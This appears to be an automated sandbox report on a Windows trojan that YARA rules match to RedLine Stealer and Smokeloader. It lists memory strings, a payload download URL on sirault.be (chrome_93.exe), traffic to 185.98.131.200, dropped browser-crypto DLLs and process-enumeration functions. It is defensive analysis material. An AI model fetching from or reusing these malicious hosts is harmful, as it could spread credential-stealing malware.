Source: T220UXIoKO.exe, T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955547334.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exe
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exe10Start0n:
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exeB
Source: T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exeID
Source: T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E610000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exebytes=0-2097151
Source: T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exee.1
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exent-Disposition:
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/chrome_93.exeq
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sirault.be/m
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: T220UXIoKO.exe, T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000003.1740576000.0000000020D91000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000003.1740576000.0000000020D91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17crosoft
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: T220UXIoKO.exe, 00000000.00000003.1815951683.00000000270EC000.00000004.00000020.00020000.00000000.sdmp, AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: T220UXIoKO.exe, 00000000.00000003.1815951683.00000000270EC000.00000004.00000020.00020000.00000000.sdmp, AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown

HTTPS traffic detected: 185.98.131.200:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2934288445.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:
Source: JDAKJDAAFB.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6EED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C6EED10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C72B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C72B700
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C72B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C72B8C0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C72B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C72B910
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6CF280

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0042D1F0	0_2_0042D1F0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0042CE98	0_2_0042CE98
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_004336A4	0_2_004336A4
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6C35A0	0_2_6C6C35A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D5440	0_2_6C6D5440
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C73545C	0_2_6C73545C
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C73542B	0_2_6C73542B
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C705C10	0_2_6C705C10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C712C10	0_2_6C712C10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C73AC00	0_2_6C73AC00
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C706CF0	0_2_6C706CF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CD4E0	0_2_6C6CD4E0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D64C0	0_2_6C6D64C0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6ED4D0	0_2_6C6ED4D0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7234A0	0_2_6C7234A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C72C4A0	0_2_6C72C4A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D6C80	0_2_6C6D6C80
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6DFD00	0_2_6C6DFD00
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6F0512	0_2_6C6F0512
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6EED10	0_2_6C6EED10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7285F0	0_2_6C7285F0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C700DD0	0_2_6C700DD0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C736E63	0_2_6C736E63
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CC670	0_2_6C6CC670
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C703E50	0_2_6C703E50
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6E4640	0_2_6C6E4640
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6E9E50	0_2_6C6E9E50
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C712E4E	0_2_6C712E4E
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C729E30	0_2_6C729E30
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C707E10	0_2_6C707E10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C715600	0_2_6C715600
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7376E3	0_2_6C7376E3
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CBEF0	0_2_6C6CBEF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6DFEF0	0_2_6C6DFEF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C724EA0	0_2_6C724EA0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C72E680	0_2_6C72E680
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6E5E90	0_2_6C6E5E90
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C707710	0_2_6C707710
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D9F00	0_2_6C6D9F00
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CDFE0	0_2_6C6CDFE0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6F6FF0	0_2_6C6F6FF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7177A0	0_2_6C7177A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C70F070	0_2_6C70F070
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6E8850	0_2_6C6E8850
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6ED850	0_2_6C6ED850
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C70B820	0_2_6C70B820
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C714820	0_2_6C714820
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D7810	0_2_6C6D7810
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6EC0E0	0_2_6C6EC0E0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7058E0	0_2_6C7058E0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7350C7	0_2_6C7350C7
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6F60A0	0_2_6C6F60A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C71B970	0_2_6C71B970
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C73B170	0_2_6C73B170
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6DD960	0_2_6C6DD960
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6EA940	0_2_6C6EA940
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CC9A0	0_2_6C6CC9A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6FD9B0	0_2_6C6FD9B0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C705190	0_2_6C705190
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C722990	0_2_6C722990
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C709A60	0_2_6C709A60
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C70E2F0	0_2_6C70E2F0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6E1AF0	0_2_6C6E1AF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C708AC0	0_2_6C708AC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C732AB0	0_2_6C732AB0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6C22A0	0_2_6C6C22A0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6F4AA0	0_2_6C6F4AA0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6DCAB0	0_2_6C6DCAB0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C73BA90	0_2_6C73BA90
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6DC370	0_2_6C6DC370
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6C5340	0_2_6C6C5340
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C70D320	0_2_6C70D320
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7353C8	0_2_6C7353C8
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6CF380	0_2_6C6CF380
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C77AC60	0_2_6C77AC60
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C836C00	0_2_6C836C00
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7CECD0	0_2_6C7CECD0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C84AC30	0_2_6C84AC30
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C76ECC0	0_2_6C76ECC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C806D90	0_2_6C806D90
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8FCDC0	0_2_6C8FCDC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8F8D20	0_2_6C8F8D20
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C774DB0	0_2_6C774DB0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C89AD50	0_2_6C89AD50
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C83ED70	0_2_6C83ED70
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C810EC0	0_2_6C810EC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C850E20	0_2_6C850E20
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C77AEC0	0_2_6C77AEC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7F6E90	0_2_6C7F6E90
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C80EE70	0_2_6C80EE70
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8B8FB0	0_2_6C8B8FB0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7DEF40	0_2_6C7DEF40
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C776F10	0_2_6C776F10
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C84EFF0	0_2_6C84EFF0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C770FE0	0_2_6C770FE0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8B0F20	0_2_6C8B0F20
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C77EFB0	0_2_6C77EFB0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C832F70	0_2_6C832F70

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: String function: 6C8F09D0 appears 51 times
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: String function: 6C7094D0 appears 90 times
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: String function: 6C6FCBE8 appears 134 times

Source: JDAKJDAAFB.exe.0.dr

Static PE information: Number of sections : 14 > 10

Source: JDAKJDAAFB.exe.0.dr

Static PE information: Data appended to the last section found

Source: T220UXIoKO.exe, 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs T220UXIoKO.exe
Source: T220UXIoKO.exe, 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs T220UXIoKO.exe

Source: T220UXIoKO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2934288445.00000000007E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: T220UXIoKO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9921833923376213
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0022513303315597
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0416666666666667
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 1.5
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 2.3333333333333335
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 1.030054644808743
Source: JDAKJDAAFB.exe.0.dr	Static PE information: Section: ZLIB complexity 1.1047619047619048

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@1/2

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_6C727030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C727030

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00419600

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413720

Source: C:\Users\user\Desktop\T220UXIoKO.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PB295ZQ4.htm

Jump to behavior

Source: T220UXIoKO.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
